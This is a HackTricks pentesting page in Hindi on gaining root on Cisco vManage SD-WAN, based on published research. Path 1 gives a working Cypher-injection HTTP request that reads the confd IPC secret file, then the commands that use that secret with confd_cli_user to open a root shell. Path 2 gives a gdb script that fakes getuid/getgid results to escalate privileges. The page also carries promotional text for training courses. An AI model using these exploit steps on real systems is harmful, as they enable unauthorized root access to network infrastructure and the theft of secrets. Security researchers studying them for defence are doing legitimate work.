Cisco - vmanage

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

Path 1

(उदाहरण https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

confd और विभिन्न बाइनरीज़ से संबंधित कुछ दस्तावेज़ों में थोड़ी खोजबीन करने पर (जो Cisco वेबसाइट पर एक अकाउंट से उपलब्ध हैं), हमें पता चला कि IPC socket को प्रमाणित करने के लिए यह /etc/confd/confd_ipc_secret में स्थित एक secret का उपयोग करता है:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

याद है हमारी Neo4j instance? यह vmanage उपयोगकर्ता की privileges के तहत चल रही है, इसलिए previous vulnerability का उपयोग करके हमें फ़ाइल प्राप्त करने की अनुमति देती है:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

confd_cli प्रोग्राम कमांड लाइन आर्ग्युमेंट्स को सपोर्ट नहीं करता लेकिन यह /usr/bin/confd_cli_user को आर्ग्युमेंट्स के साथ कॉल करता है। इसलिए हम सीधे /usr/bin/confd_cli_user को अपने आर्ग्युमेंट्स के साथ कॉल कर सकते हैं। हालांकि यह हमारे वर्तमान privileges से readable नहीं है, इसलिए हमें इसे rootfs से retrieve करके scp से कॉपी करना होगा, help पढ़नी होगी, और इसे shell पाने के लिए उपयोग करना होगा:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

पथ 2

(उदाहरण from https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

synacktiv टीम द्वारा लिखा गया ब्लॉग¹ root shell पाने का एक शानदार तरीका बताता है, लेकिन सावधानी यह है कि इसके लिए /usr/bin/confd_cli_user की एक कॉपी चाहिए जो केवल root द्वारा पढ़ी जा सकती है। मैंने बिना इस झंझट के root तक पहुँचने का एक और तरीका ढूँढा।

जब मैंने /usr/bin/confd_cli बाइनरी को disassemble किया, तो मैंने निम्नलिखित देखा:

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run